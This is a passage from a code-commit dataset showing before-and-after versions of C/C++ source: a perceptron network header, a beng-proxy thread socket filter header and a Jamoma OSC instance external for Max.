neurons[i].output(inputs);\n }\n return lastOutput;\n }\n\n struct BPResult {\n Output propagatedErrorSignal;\n vector<Weights> weightCorrections;\n };\n\n \/\/ Page 134. Calculate back-propagated error signal and corrections to\n \/\/ synaptic weights.\n \/\/\n \/\/ $$ e_j = \\sum_k \\delta_k w_{kj} $$\n \/\/\n \/\/ where $e_j$ is an error propagated from all downstream neurons to the\n \/\/ neuron $j$, $\\delta_k$ is the local gradient of the downstream neurons\n \/\/ $k$, $w_{kj}$ is the synaptic weight of the $j$-th input of the\n \/\/ downstream neuron $k$.\n \/\/\n \/\/ The method should be called _after_ `forwardPass`\n BPResult backwardPass(const Input &inputs, const Output &errorSignals,\n double learningRate) {\n assert(errorSignals.size() == neurons.size());\n auto eta = learningRate;\n vector<Weights> weightDeltas(0);\n Weights propagatedErrorSignals(nInputs, 0.0);\n for (auto k = 0u; k < nNeurons; ++k) {\n auto error_k = errorSignals[k];\n auto r = neurons[k].backwardPass(inputs, error_k, eta);\n Weights delta_Wk = r.weightCorrection;\n double delta_k = r.localGradient;\n Weights Wk = neurons[k].getWeights();\n for (auto j = 0u; j < nInputs; ++j) {\n propagatedErrorSignals[j] += delta_k * Wk[j + 1];\n }\n weightDeltas.push_back(delta_Wk);\n }\n return BPResult{propagatedErrorSignals, weightDeltas};\n }\n\n friend ostream &operator<<(ostream &out, const PerceptronsLayer &net);\n};\n\n\n\/\/\/ Multiple layers of perceptrons stack one upon another.\nclass PerceptronsNetwork {\nprivate:\n vector<PerceptronsLayer> layers;\n\npublic:\n PerceptronsNetwork(initializer_list<unsigned int> shape,\n const ActivationFunction &af = defaultTanh)\n : layers(0) {\n auto pIn = shape.begin();\n auto pOut = next(pIn);\n for (; pOut != shape.end(); ++pIn, ++pOut) {\n PerceptronsLayer layer(*pIn, *pOut, af);\n layers.push_back(layer);\n }\n }\n\n void init(unique_ptr<rng_type> &rng) {\n for (auto i = 0u; i < layers.size(); ++i) {\n layers[i].init(rng);\n }\n }\n\n\n friend ostream &operator<<(ostream &out, const PerceptronsNetwork &net);\n};\n\n\nostream &operator<<(ostream &out, const PerceptronsLayer &layer) {\n size_t n = layer.neurons.size();\n for (size_t j = 0; j < n; ++j) {\n if (j == 0) {\n out << \"[\";\n } else {\n out << \" \";\n }\n out << layer.neurons[j].getWeights();\n if (j >= n - 1) {\n out << \"]\";\n } else {\n out << \",\\n\";\n }\n }\n return out;\n}\n\n\nostream &operator<<(ostream &out, const PerceptronsNetwork &net) {\n for (PerceptronsLayer l : net.layers) {\n out << l << \"\\n\";\n }\n return out;\n}\n\n\nostream &operator<<(ostream &out, const vector<double> &xs) {\n int n = xs.size();\n out << \"[ \";\n for (int i = 0; i < n - 1; ++i) {\n out << xs[i] << \", \";\n }\n out << xs[n - 1] << \" ]\";\n return out;\n}\n\n#endif \/* PERCEPTRON_H *\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * A filtered_socket class that offloads the actual filtering to a\n * worker thread.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#ifndef BENG_PROXY_THREAD_SOCKET_FILTER_HXX\n#define BENG_PROXY_THREAD_SOCKET_FILTER_HXX\n\n#include \"thread_job.hxx\"\n#include \"event\/DeferEvent.hxx\"\n#include \"event\/TimerEvent.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n\n#include <mutex>\n\ntypedef struct _GError GError;\nstruct SocketFilter;\nstruct FilteredSocket;\nstruct ThreadSocketFilter;\nclass ThreadQueue;\n\nclass ThreadSocketFilterHandler {\npublic:\n virtual ~ThreadSocketFilterHandler() {}\n\n \/**\n * Called in the main thread before Run() is scheduled.\n *\/\n virtual void PreRun(ThreadSocketFilter &) {}\n\n \/**\n * Do the work. This is run in an unspecified worker thread. The\n * given #ThreadSocketFilter's mutex may be used for protection.\n *\n * This method may throw exceptions, which will be forwarded to\n * BufferedSocketHandler::error().\n *\/\n virtual void Run(ThreadSocketFilter &f) = 0;\n\n \/**\n * Called in the main thread after one or more run() calls have\n * finished successfully.\n *\/\n virtual void PostRun(ThreadSocketFilter &) {}\n};\n\n\/**\n * A module for #filtered_socket that moves the filter to a thread\n * pool (see #thread_job).\n *\/\nstruct ThreadSocketFilter final : ThreadJob {\n ThreadQueue &queue;\n\n FilteredSocket *socket;\n\n \/**\n * The actual filter. If this is NULL, then this object behaves\n * just like #BufferedSocket.\n *\/\n ThreadSocketFilterHandler *const handler;\n\n BoundMethod<void()> handshake_callback{nullptr};\n\n \/**\n * This event moves a call out of the current stack frame. It is\n * used by ScheduleWrite() to avoid calling InvokeWrite()\n * directly.\n *\/\n DeferEvent defer_event;\n\n \/**\n *\n *\/\n TimerEvent handshake_timeout_event;\n\n bool busy = false, done_pending = false;\n\n bool connected = true;\n\n \/**\n * Does the handler expect more data? It announced this by\n * returning BUFFERED_MORE.\n *\/\n bool expect_more = false;\n\n bool postponed_remaining = false;\n\n bool postponed_end = false;\n\n \/**\n * Set to true when the thread queue hasn't yet released the\n * #thread_job. The object will be destroyed in the \"done\"\n * callback.\n *\/\n bool postponed_destroy = false;\n\n \/**\n * True when the client has called\n * filtered_socket_schedule_read().\n *\/\n bool want_read = false;\n\n \/**\n * Was _schedule_read() forwarded?\n *\/\n bool read_scheduled = false;\n\n \/**\n * True when the client has called\n * filtered_socket_schedule_write().\n *\/\n bool want_write = false;\n\n \/**\n * True when #ThreadSocketFilterHandler's internal output buffers\n * are empty. Set by #ThreadSocketFilterHandler::run() before\n * returning.\n *\n * Protected by #mutex.\n *\/\n bool drained = true;\n\n \/**\n * True when no more input can be decrypted by\n * #ThreadSocketFilterHandler. Will be set to true by\n * #ThreadSocketFilterHandler.\n *\n * Protected by #mutex.\n *\/\n bool input_eof = false;\n\n \/**\n * Schedule the job again? This can be used to fix up things that\n * can only be done in the main thread.\n *\n * Protected by #mutex.\n *\/\n bool again = false;\n\n \/**\n * True during the initial handshake. Will be set to false by the\n * #ThreadSocketFilterHandler. It is used to control the\n * #handshake_timeout_event.\n *\n * Protected by #mutex.\n *\n * TODO: this is only a kludge for the stable branch. Reimplement\n * properly.\n *\/\n bool handshaking = true;\n\n struct timeval read_timeout_buffer;\n const struct timeval *read_timeout = nullptr;\n\n std::mutex mutex;\n\n \/**\n * If this is set, an exception was caught inside the thread, and\n * shall be forwarded to the main thread.\n *\/\n std::exception_ptr error;\n\n \/**\n * A buffer of input data that was not yet handled by the filter.\n * It will be passed to the filter, and after that, it will go to\n * #decrypted_input.\n *\n * This gets fed from buffered_socket::input. We need another\n * buffer because buffered_socket is not thread-safe, while this\n * buffer is protected by the #mutex.\n *\/\n SliceFifoBuffer encrypted_input;\n\n \/**\n * A buffer of input data that was handled by the filter. It will\n * be passed to the handler.\n *\/\n SliceFifoBuffer decrypted_input;\n\n \/**\n * A buffer of output data that was not yet handled by the filter.\n * Once it was filtered, it will be written to #encrypted_output.\n *\/\n SliceFifoBuffer plain_output;\n\n \/**\n * A buffer of output data that has been filtered already, and\n * will be written to the socket.\n *\/\n SliceFifoBuffer encrypted_output;\n\n ThreadSocketFilter(EventLoop &_event_loop,\n ThreadQueue &queue,\n ThreadSocketFilterHandler *handler);\n\n ThreadSocketFilter(const ThreadSocketFilter &) = delete;\n\n ~ThreadSocketFilter();\n\n void SetHandshakeCallback(BoundMethod<void()> callback);\n\n \/**\n * Schedule a Run() call in a worker thread.\n *\/\n void Schedule();\n\n \/**\n * @return false if the object has been destroyed\n *\/\n bool SubmitDecryptedInput();\n\n \/**\n * @return the number of bytes appended to #plain_output\n *\/\n size_t LockWritePlainOutput(const void *data, size_t size);\n\n \/* virtual methods from class ThreadJob *\/\n void Run() final;\n void Done() final;\n\nprivate:\n void ClosedPrematurely();\n\n bool CheckRead(std::unique_lock<std::mutex> &lock);\n bool CheckWrite(std::unique_lock<std::mutex> &lock);\n\n void HandshakeTimeoutCallback();\n\n \/**\n * Called in the main thread before scheduling a Run() call in a\n * worker thread.\n *\/\n void PreRun();\n\n \/**\n * Called in the main thread after one or more Run() calls have\n * finished successfully.\n *\/\n void PostRun();\n\n \/**\n * This event moves a call out of the current stack frame. It is\n * used by ScheduleWrite() to avoid calling InvokeWrite()\n * directly.\n *\/\n void OnDeferred();\n};\n\nextern const SocketFilter thread_socket_filter;\n\n#endif\n<commit_msg>thread_socket_filter: remove obsolete GError declaration<commit_after>\/*\n * A filtered_socket class that offloads the actual filtering to a\n * worker thread.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#ifndef BENG_PROXY_THREAD_SOCKET_FILTER_HXX\n#define BENG_PROXY_THREAD_SOCKET_FILTER_HXX\n\n#include \"thread_job.hxx\"\n#include \"event\/DeferEvent.hxx\"\n#include \"event\/TimerEvent.hxx\"\n#include \"SliceFifoBuffer.hxx\"\n\n#include <mutex>\n\nstruct SocketFilter;\nstruct FilteredSocket;\nstruct ThreadSocketFilter;\nclass ThreadQueue;\n\nclass ThreadSocketFilterHandler {\npublic:\n virtual ~ThreadSocketFilterHandler() {}\n\n \/**\n * Called in the main thread before Run() is scheduled.\n *\/\n virtual void PreRun(ThreadSocketFilter &) {}\n\n \/**\n * Do the work. This is run in an unspecified worker thread. The\n * given #ThreadSocketFilter's mutex may be used for protection.\n *\n * This method may throw exceptions, which will be forwarded to\n * BufferedSocketHandler::error().\n *\/\n virtual void Run(ThreadSocketFilter &f) = 0;\n\n \/**\n * Called in the main thread after one or more run() calls have\n * finished successfully.\n *\/\n virtual void PostRun(ThreadSocketFilter &) {}\n};\n\n\/**\n * A module for #filtered_socket that moves the filter to a thread\n * pool (see #thread_job).\n *\/\nstruct ThreadSocketFilter final : ThreadJob {\n ThreadQueue &queue;\n\n FilteredSocket *socket;\n\n \/**\n * The actual filter. If this is NULL, then this object behaves\n * just like #BufferedSocket.\n *\/\n ThreadSocketFilterHandler *const handler;\n\n BoundMethod<void()> handshake_callback{nullptr};\n\n \/**\n * This event moves a call out of the current stack frame. It is\n * used by ScheduleWrite() to avoid calling InvokeWrite()\n * directly.\n *\/\n DeferEvent defer_event;\n\n \/**\n *\n *\/\n TimerEvent handshake_timeout_event;\n\n bool busy = false, done_pending = false;\n\n bool connected = true;\n\n \/**\n * Does the handler expect more data? It announced this by\n * returning BUFFERED_MORE.\n *\/\n bool expect_more = false;\n\n bool postponed_remaining = false;\n\n bool postponed_end = false;\n\n \/**\n * Set to true when the thread queue hasn't yet released the\n * #thread_job. The object will be destroyed in the \"done\"\n * callback.\n *\/\n bool postponed_destroy = false;\n\n \/**\n * True when the client has called\n * filtered_socket_schedule_read().\n *\/\n bool want_read = false;\n\n \/**\n * Was _schedule_read() forwarded?\n *\/\n bool read_scheduled = false;\n\n \/**\n * True when the client has called\n * filtered_socket_schedule_write().\n *\/\n bool want_write = false;\n\n \/**\n * True when #ThreadSocketFilterHandler's internal output buffers\n * are empty. Set by #ThreadSocketFilterHandler::run() before\n * returning.\n *\n * Protected by #mutex.\n *\/\n bool drained = true;\n\n \/**\n * True when no more input can be decrypted by\n * #ThreadSocketFilterHandler. Will be set to true by\n * #ThreadSocketFilterHandler.\n *\n * Protected by #mutex.\n *\/\n bool input_eof = false;\n\n \/**\n * Schedule the job again? This can be used to fix up things that\n * can only be done in the main thread.\n *\n * Protected by #mutex.\n *\/\n bool again = false;\n\n \/**\n * True during the initial handshake. Will be set to false by the\n * #ThreadSocketFilterHandler. It is used to control the\n * #handshake_timeout_event.\n *\n * Protected by #mutex.\n *\n * TODO: this is only a kludge for the stable branch. Reimplement\n * properly.\n *\/\n bool handshaking = true;\n\n struct timeval read_timeout_buffer;\n const struct timeval *read_timeout = nullptr;\n\n std::mutex mutex;\n\n \/**\n * If this is set, an exception was caught inside the thread, and\n * shall be forwarded to the main thread.\n *\/\n std::exception_ptr error;\n\n \/**\n * A buffer of input data that was not yet handled by the filter.\n * It will be passed to the filter, and after that, it will go to\n * #decrypted_input.\n *\n * This gets fed from buffered_socket::input. We need another\n * buffer because buffered_socket is not thread-safe, while this\n * buffer is protected by the #mutex.\n *\/\n SliceFifoBuffer encrypted_input;\n\n \/**\n * A buffer of input data that was handled by the filter. It will\n * be passed to the handler.\n *\/\n SliceFifoBuffer decrypted_input;\n\n \/**\n * A buffer of output data that was not yet handled by the filter.\n * Once it was filtered, it will be written to #encrypted_output.\n *\/\n SliceFifoBuffer plain_output;\n\n \/**\n * A buffer of output data that has been filtered already, and\n * will be written to the socket.\n *\/\n SliceFifoBuffer encrypted_output;\n\n ThreadSocketFilter(EventLoop &_event_loop,\n ThreadQueue &queue,\n ThreadSocketFilterHandler *handler);\n\n ThreadSocketFilter(const ThreadSocketFilter &) = delete;\n\n ~ThreadSocketFilter();\n\n void SetHandshakeCallback(BoundMethod<void()> callback);\n\n \/**\n * Schedule a Run() call in a worker thread.\n *\/\n void Schedule();\n\n \/**\n * @return false if the object has been destroyed\n *\/\n bool SubmitDecryptedInput();\n\n \/**\n * @return the number of bytes appended to #plain_output\n *\/\n size_t LockWritePlainOutput(const void *data, size_t size);\n\n \/* virtual methods from class ThreadJob *\/\n void Run() final;\n void Done() final;\n\nprivate:\n void ClosedPrematurely();\n\n bool CheckRead(std::unique_lock<std::mutex> &lock);\n bool CheckWrite(std::unique_lock<std::mutex> &lock);\n\n void HandshakeTimeoutCallback();\n\n \/**\n * Called in the main thread before scheduling a Run() call in a\n * worker thread.\n *\/\n void PreRun();\n\n \/**\n * Called in the main thread after one or more Run() calls have\n * finished successfully.\n *\/\n void PostRun();\n\n \/**\n * This event moves a call out of the current stack frame. It is\n * used by ScheduleWrite() to avoid calling InvokeWrite()\n * directly.\n *\/\n void OnDeferred();\n};\n\nextern const SocketFilter thread_socket_filter;\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/* \n * jcom.oscinstance\n * External for Jamoma: retrieve instance numbers or ids from osc messages\n * By Trond Lossius, Copyright 2005\n * \n * License: This code is licensed under the terms of the GNU LGPL\n * http:\/\/www.gnu.org\/licenses\/lgpl.html \n *\/\n\n#include \"Jamoma.h\"\n\n#define MAX_MESS_SIZE 2048\n\ntypedef struct _oscinstance{\t\t\t\t\/\/\/< Data Structure for this object\n\tt_object\tob;\t\t\t\t\t\t\t\/\/\/< REQUIRED: Our object\n\tvoid\t\t*outlet0;\t\t\t\t\t\/\/\/< Leftmost outlet, passing osc messages\n\tvoid\t\t*outlet1;\t\t\t\t\t\/\/\/< 2nd outlet, passing instance number or ID\n\tvoid\t\t*outlet2;\t\t\t\t\t\/\/\/< 3rd outlet, passing the arguments of incomming OSC messages\n\tvoid\t\t*outlet_overflow;\t\t\t\/\/\/< The rightmost outlet: This outlet doubles as the dumpout outlet\n} t_oscinstance;\n\n\/** The jcom.oscinstance constructor *\/\nvoid *oscinstance_new(t_symbol *s, long argc, t_atom *argv);\n\n\/** Provide assistance strings in the patcher window. *\/\nvoid oscinstance_assist(t_oscinstance *x, void *b, long msg, long arg, char *dst);\n\n\/** Method for bang input. *\/\nvoid oscinstance_bang(t_oscinstance *x);\n\n\/** Method for int input. *\/\nvoid oscinstance_int(t_oscinstance *x, long n);\n\n\/** Method for int float. *\/\nvoid oscinstance_float(t_oscinstance *x, double f);\n\n\/** Method for anything else, including OSC messages. *\/\nvoid oscinstance_symbol(t_oscinstance *x, t_symbol *msg, long argc, t_atom *argv);\n\/\/void oscinstance_list(t_oscinstance *x, t_symbol *msg, long argc, t_atom *argv);\n\n\/\/ Globals\nt_class\t\t*oscinstance_class;\t\t\t\t\/\/ Required: Global pointer for our class\n\n\n\/************************************************************************************\/\n\/\/ Main() Function\n\nint main(void)\t\t\t\t\/\/ main recieves a copy of the Max function macros table\n{\n\tlong attrflags = 0;\n\tt_class *c;\n\tt_object *attr;\n\t\n\tjamoma_init();\n\tcommon_symbols_init();\n\n\tc = class_new(\"jcom.oscinstance\",(method)oscinstance_new, (method)0L, sizeof(t_oscinstance), (method)0L, A_GIMME, 0);\n\n\tclass_addmethod(c, (method)oscinstance_bang,\t\t\"bang\",\t\t0);\t\n\tclass_addmethod(c, (method)oscinstance_int,\t\t\t\"int\",\t\tA_DEFLONG,\t0L);\n\tclass_addmethod(c, (method)oscinstance_float,\t\t\"float\",\tA_DEFFLOAT,\t0L);\n \tclass_addmethod(c, (method)oscinstance_symbol,\t\t\"list\", \tA_GIMME, 0L);\n \tclass_addmethod(c, (method)oscinstance_symbol,\t\t\"anything\", A_GIMME, 0L);\n\tclass_addmethod(c, (method)oscinstance_assist,\t\t\"assist\",\tA_CANT, 0L); \n class_addmethod(c, (method)object_obex_dumpout, \t\"dumpout\",\tA_CANT,0);\n\n\t\/\/ Finalize our class\n\tclass_register(CLASS_BOX, c);\n\toscinstance_class = c;\n\treturn 0;\n}\n\n\n\/************************************************************************************\/\n\/\/ Object Life\n\nvoid *oscinstance_new(t_symbol *s, long argc, t_atom *argv)\n{\n\tt_oscinstance\t*x = (t_oscinstance *)object_alloc(oscinstance_class);\n\t\n\tif(x){\n\t\tx->outlet_overflow = outlet_new(x, 0);\t\t\/\/ overflow outlet\n\t\tobject_obex_store((void *)x, _sym_dumpout, (object *)x->outlet_overflow);\t\/\/ dumpout\n\t\tx->outlet2 = outlet_new(x, 0);\t\t\t\t\/\/ Create Outlet\n\t\tx->outlet1 = outlet_new(x, 0);\t\t\t\t\/\/ Create Outlet\n\t\tx->outlet0 = outlet_new(x, 0);\t\t\t\t\/\/ Create Outlet\n\t}\n\treturn (x);\t\t\t\t\t\t\t\t\t\t\/\/ return the pointer to our new instantiation\n}\n\n\n\/************************************************************************************\/\n\/\/ Methods bound to input\/inlets\n\n\/\/ Method for Assistance Messages\nvoid oscinstance_assist(t_oscinstance *x, void *b, long msg, long arg, char *dst)\n{\n\tif(msg==1) \t\t\t\t\t\t\/\/ Inlet\n\t\tstrcpy(dst, \"Input\");\n\telse if(msg==2){ \t\t\t\t\/\/ Outlets\n\t\tif(arg == 0)\n\t\t\tstrcpy(dst, \"OSC message with instance info stripped\");\n\t\telse if (arg == 1)\n\t\t \tstrcpy(dst, \"OSC instance number or ID\");\n\t\telse\n\t\t\tstrcpy(dst, \"dumpout \/ overflow from non-matching input\");\t\n \t}\t\t\n}\n\n\nvoid oscinstance_bang(t_oscinstance *x)\n{\n\toutlet_bang(x->outlet_overflow);\n}\n\n\n\/\/ INT INPUT\nvoid oscinstance_int(t_oscinstance *x, long n)\n{\n\toutlet_int(x->outlet_overflow, n);\n}\n\n\n\/\/ FLOAT INPUT\nvoid oscinstance_float(t_oscinstance *x, double f)\n{\n\toutlet_float(x->outlet_overflow, f);\n}\n\n\n\/\/ SYMBOL INPUT\nvoid oscinstance_symbol(t_oscinstance *x, t_symbol *msg, long argc, t_atom *argv)\n{\n\tchar\t\t\tinput[MAX_MESS_SIZE];\t\/\/ our input string\n\tchar\t\t\t*input2 = input;\t\t\/\/ pointer to our input string\n\tchar\t\t\t*dot;\n\tchar\t\t\t*slash;\n\tt_symbol\t\t*instance;\n\tchar\t\t\t*instanceEnd;\n\tt_symbol\t\t*output;\n\tt_symbol\t\t*osc = NULL;\n\tlong\t\t\ti;\n\n\tstrcpy(input, msg->s_name);\n\t\n\t\/\/ This object only deals with OSC messages\n\tif(!*input2 == '\/') {\n\t\tgoto spillover;\n\t}\n\tinput2++;\t\t\t\t\t\t\t\t\/\/ jump past the leading slash\n\n\tdot = strchr(input2, '.');\t\t\t\t\/\/ look for dot\n\tif (dot == NULL)\n\t\tgoto spillover;\n\n\tslash = strchr(input2, '\/');\t\t\t\/\/ checking for additional osc branches\n\n\tif ( slash == 0) {\n\t\t*dot = NULL;\n\t\tosc = gensym(input2-1);\t\t\t\t\/\/ reintroduce the leading slash\t\t\n\t\tinstance = gensym(dot+1);\n\t}\n\telse {\n\t\tif ( slash<dot )\n\t\t\tgoto spillover;\t\t\t\t\t\/\/ there are instances, but not in the leading branch\t\t\n\t\t*dot = NULL;\t\n\t\t*slash = NULL;\t\t\t\t\t\t\/\/ temporarily remove the slash\n\t\tinstance = gensym(dot+1);\n\t\t*slash = '\/';\t\t\t\t\t\t\/\/ put slash back in\n\t\tstrcat(input, slash);\t\t\t\t\/\/ remove the instance part and concatenate\n\t\tosc = gensym(input2-1);\t\t\t\t\/\/ reintroduce the leading slash\t\n\t}\t\n\t\t\n\t\/\/ Output from 3rd outlet: The arguments of the OSC message\n\n\t\/\/ We have to check what message to return.\n\t\/\/ The message received has no arguments:\n\tif (argc == 0) {\n\t\toutlet_bang(x->outlet2);\n\t}\n\t\/\/ The message received has one argument only:\n\telse if (argc==1) {\n\t\t\/\/ int argument\n\t\tif (argv->a_type==A_LONG)\n\t\t\toutlet_int(x->outlet2,argv->a_w.w_long);\n\t\t\/\/ float argument\n\t\telse if (argv->a_type==A_FLOAT)\n\t\t\toutlet_float(x->outlet2,argv->a_w.w_float);\n\t\t\/\/ something else\n\t\telse if (argv->a_type==A_SYM)\n\t\t\toutlet_anything(x->outlet2,argv->a_w.w_sym,0,0);\n\t}\t\t\n\t\/\/ There are two or more arguments: check if first is A_SYM\t\n\telse {\n\t\tif (argv->a_type==A_SYM) {\n\t\t\toutput = argv->a_w.w_sym;\n\t\t\targc--;\n\t\t\targv++;\n\t\t}\n\t\telse\n\t\t\toutput = _sym_list;\n\t\toutlet_anything(x->outlet2, output, argc , argv);\n\t}\n\n\t\/\/ Output from 2nd outlet: Instance. Check if the instance is an integer (long):\n\ti = strtol (instance->s_name,&instanceEnd,10);\t\t\n\tif (instance->s_name[0] != '\\n' && (*instanceEnd == '\\n' || *instanceEnd == '\\0'))\n\t\toutlet_int(x->outlet1, i);\n\telse\n\t\toutlet_anything(x->outlet1, instance, NULL, 0L);\t\t\n\n\t\/\/ Output from 1st outlet: OC name with instance removed\n\toutlet_anything(x->outlet0, osc, NULL, 0L);\t\t\n\treturn;\n\n\tspillover:\n\t\toutlet_anything(x->outlet_overflow, msg, argc , argv);\n\t\treturn;\t\n}\n\n\n<commit_msg>corrected the labeling of the 3rd and 4th outlet <commit_after>\/* \n * jcom.oscinstance\n * External for Jamoma: retrieve instance numbers or ids from osc messages\n * By Trond Lossius, Copyright 2005\n * \n * License: This code is licensed under the terms of the GNU LGPL\n * http:\/\/www.gnu.org\/licenses\/lgpl.html \n *\/\n\n#include \"Jamoma.h\"\n\n#define MAX_MESS_SIZE 2048\n\ntypedef struct _oscinstance{\t\t\t\t\/\/\/< Data Structure for this object\n\tt_object\tob;\t\t\t\t\t\t\t\/\/\/< REQUIRED: Our object\n\tvoid\t\t*outlet0;\t\t\t\t\t\/\/\/< Leftmost outlet, passing osc messages\n\tvoid\t\t*outlet1;\t\t\t\t\t\/\/\/< 2nd outlet, passing instance number or ID\n\tvoid\t\t*outlet2;\t\t\t\t\t\/\/\/< 3rd outlet, passing the arguments of incomming OSC messages\n\tvoid\t\t*outlet_overflow;\t\t\t\/\/\/< The rightmost outlet: This outlet doubles as the dumpout outlet\n} t_oscinstance;\n\n\/** The jcom.oscinstance constructor *\/\nvoid *oscinstance_new(t_symbol *s, long argc, t_atom *argv);\n\n\/** Provide assistance strings in the patcher window. *\/\nvoid oscinstance_assist(t_oscinstance *x, void *b, long msg, long arg, char *dst);\n\n\/** Method for bang input. *\/\nvoid oscinstance_bang(t_oscinstance *x);\n\n\/** Method for int input. *\/\nvoid oscinstance_int(t_oscinstance *x, long n);\n\n\/** Method for int float. *\/\nvoid oscinstance_float(t_oscinstance *x, double f);\n\n\/** Method for anything else, including OSC messages. *\/\nvoid oscinstance_symbol(t_oscinstance *x, t_symbol *msg, long argc, t_atom *argv);\n\/\/void oscinstance_list(t_oscinstance *x, t_symbol *msg, long argc, t_atom *argv);\n\n\/\/ Globals\nt_class\t\t*oscinstance_class;\t\t\t\t\/\/ Required: Global pointer for our class\n\n\n\/************************************************************************************\/\n\/\/ Main() Function\n\nint main(void)\t\t\t\t\/\/ main recieves a copy of the Max function macros table\n{\n\tlong attrflags = 0;\n\tt_class *c;\n\tt_object *attr;\n\t\n\tjamoma_init();\n\tcommon_symbols_init();\n\n\tc = class_new(\"jcom.oscinstance\",(method)oscinstance_new, (method)0L, sizeof(t_oscinstance), (method)0L, A_GIMME, 0);\n\n\tclass_addmethod(c, (method)oscinstance_bang,\t\t\"bang\",\t\t0);\t\n\tclass_addmethod(c, (method)oscinstance_int,\t\t\t\"int\",\t\tA_DEFLONG,\t0L);\n\tclass_addmethod(c, (method)oscinstance_float,\t\t\"float\",\tA_DEFFLOAT,\t0L);\n \tclass_addmethod(c, (method)oscinstance_symbol,\t\t\"list\", \tA_GIMME, 0L);\n \tclass_addmethod(c, (method)oscinstance_symbol,\t\t\"anything\", A_GIMME, 0L);\n\tclass_addmethod(c, (method)oscinstance_assist,\t\t\"assist\",\tA_CANT, 0L); \n class_addmethod(c, (method)object_obex_dumpout, \t\"dumpout\",\tA_CANT,0);\n\n\t\/\/ Finalize our class\n\tclass_register(CLASS_BOX, c);\n\toscinstance_class = c;\n\treturn 0;\n}\n\n\n\/************************************************************************************\/\n\/\/ Object Life\n\nvoid *oscinstance_new(t_symbol *s, long argc, t_atom *argv)\n{\n\tt_oscinstance\t*x = (t_oscinstance *)object_alloc(oscinstance_class);\n\t\n\tif(x){\n\t\tx->outlet_overflow = outlet_new(x, 0);\t\t\/\/ overflow outlet\n\t\tobject_obex_store((void *)x, _sym_dumpout, (object *)x->outlet_overflow);\t\/\/ dumpout\n\t\tx->outlet2 = outlet_new(x, 0);\t\t\t\t\/\/ Create Outlet\n\t\tx->outlet1 = outlet_new(x, 0);\t\t\t\t\/\/ Create Outlet\n\t\tx->outlet0 = outlet_new(x, 0);\t\t\t\t\/\/ Create Outlet\n\t}\n\treturn (x);\t\t\t\t\t\t\t\t\t\t\/\/ return the pointer to our new instantiation\n}\n\n\n\/************************************************************************************\/\n\/\/ Methods bound to input\/inlets\n\n\/\/ Method for Assistance Messages\nvoid oscinstance_assist(t_oscinstance *x, void *b, long msg, long arg, char *dst)\n{\n\tif(msg==1) \t\t\t\t\t\t\/\/ Inlet\n\t\tstrcpy(dst, \"Input\");\n\telse if(msg==2){ \t\t\t\t\/\/ Outlets\n\t\tif(arg == 0)\n\t\t\tstrcpy(dst, \"OSC message with instance info stripped\");\n\t\telse if (arg == 1)\n\t\t \tstrcpy(dst, \"OSC instance number or ID\");\n\t\telse if (arg == 2)\n\t\t \tstrcpy(dst, \"parameter value\");\t\t\n\t\telse\n\t\t\tstrcpy(dst, \"dumpout \/ overflow from non-matching input\");\t\n \t}\t\t\n}\n\n\nvoid oscinstance_bang(t_oscinstance *x)\n{\n\toutlet_bang(x->outlet_overflow);\n}\n\n\n\/\/ INT INPUT\nvoid oscinstance_int(t_oscinstance *x, long n)\n{\n\toutlet_int(x->outlet_overflow, n);\n}\n\n\n\/\/ FLOAT INPUT\nvoid oscinstance_float(t_oscinstance *x, double f)\n{\n\toutlet_float(x->outlet_overflow, f);\n}\n\n\n\/\/ SYMBOL INPUT\nvoid oscinstance_symbol(t_oscinstance *x, t_symbol *msg, long argc, t_atom *argv)\n{\n\tchar\t\t\tinput[MAX_MESS_SIZE];\t\/\/ our input string\n\tchar\t\t\t*input2 = input;\t\t\/\/ pointer to our input string\n\tchar\t\t\t*dot;\n\tchar\t\t\t*slash;\n\tt_symbol\t\t*instance;\n\tchar\t\t\t*instanceEnd;\n\tt_symbol\t\t*output;\n\tt_symbol\t\t*osc = NULL;\n\tlong\t\t\ti;\n\n\tstrcpy(input, msg->s_name);\n\t\n\t\/\/ This object only deals with OSC messages\n\tif(!*input2 == '\/') {\n\t\tgoto spillover;\n\t}\n\tinput2++;\t\t\t\t\t\t\t\t\/\/ jump past the leading slash\n\n\tdot = strchr(input2, '.');\t\t\t\t\/\/ look for dot\n\tif (dot == NULL)\n\t\tgoto spillover;\n\n\tslash = strchr(input2, '\/');\t\t\t\/\/ checking for additional osc branches\n\n\tif ( slash == 0) {\n\t\t*dot = NULL;\n\t\tosc = gensym(input2-1);\t\t\t\t\/\/ reintroduce the leading slash\t\t\n\t\tinstance = gensym(dot+1);\n\t}\n\telse {\n\t\tif ( slash<dot )\n\t\t\tgoto spillover;\t\t\t\t\t\/\/ there are instances, but not in the leading branch\t\t\n\t\t*dot = NULL;\t\n\t\t*slash = NULL;\t\t\t\t\t\t\/\/ temporarily remove the slash\n\t\tinstance = gensym(dot+1);\n\t\t*slash = '\/';\t\t\t\t\t\t\/\/ put slash back in\n\t\tstrcat(input, slash);\t\t\t\t\/\/ remove the instance part and concatenate\n\t\tosc = gensym(input2-1);\t\t\t\t\/\/ reintroduce the leading slash\t\n\t}\t\n\t\t\n\t\/\/ Output from 3rd outlet: The arguments of the OSC message\n\n\t\/\/ We have to check what message to return.\n\t\/\/ The message received has no arguments:\n\tif (argc == 0) {\n\t\toutlet_bang(x->outlet2);\n\t}\n\t\/\/ The message received has one argument only:\n\telse if (argc==1) {\n\t\t\/\/ int argument\n\t\tif (argv->a_type==A_LONG)\n\t\t\toutlet_int(x->outlet2,argv->a_w.w_long);\n\t\t\/\/ float argument\n\t\telse if (argv->a_type==A_FLOAT)\n\t\t\toutlet_float(x->outlet2,argv->a_w.w_float);\n\t\t\/\/ something else\n\t\telse if (argv->a_type==A_SYM)\n\t\t\toutlet_anything(x->outlet2,argv->a_w.w_sym,0,0);\n\t}\t\t\n\t\/\/ There are two or more arguments: check if first is A_SYM\t\n\telse {\n\t\tif (argv->a_type==A_SYM) {\n\t\t\toutput = argv->a_w.w_sym;\n\t\t\targc--;\n\t\t\targv++;\n\t\t}\n\t\telse\n\t\t\toutput = _sym_list;\n\t\toutlet_anything(x->outlet2, output, argc , argv);\n\t}\n\n\t\/\/ Output from 2nd outlet: Instance. Check if the instance is an integer (long):\n\ti = strtol (instance->s_name,&instanceEnd,10);\t\t\n\tif (instance->s_name[0] != 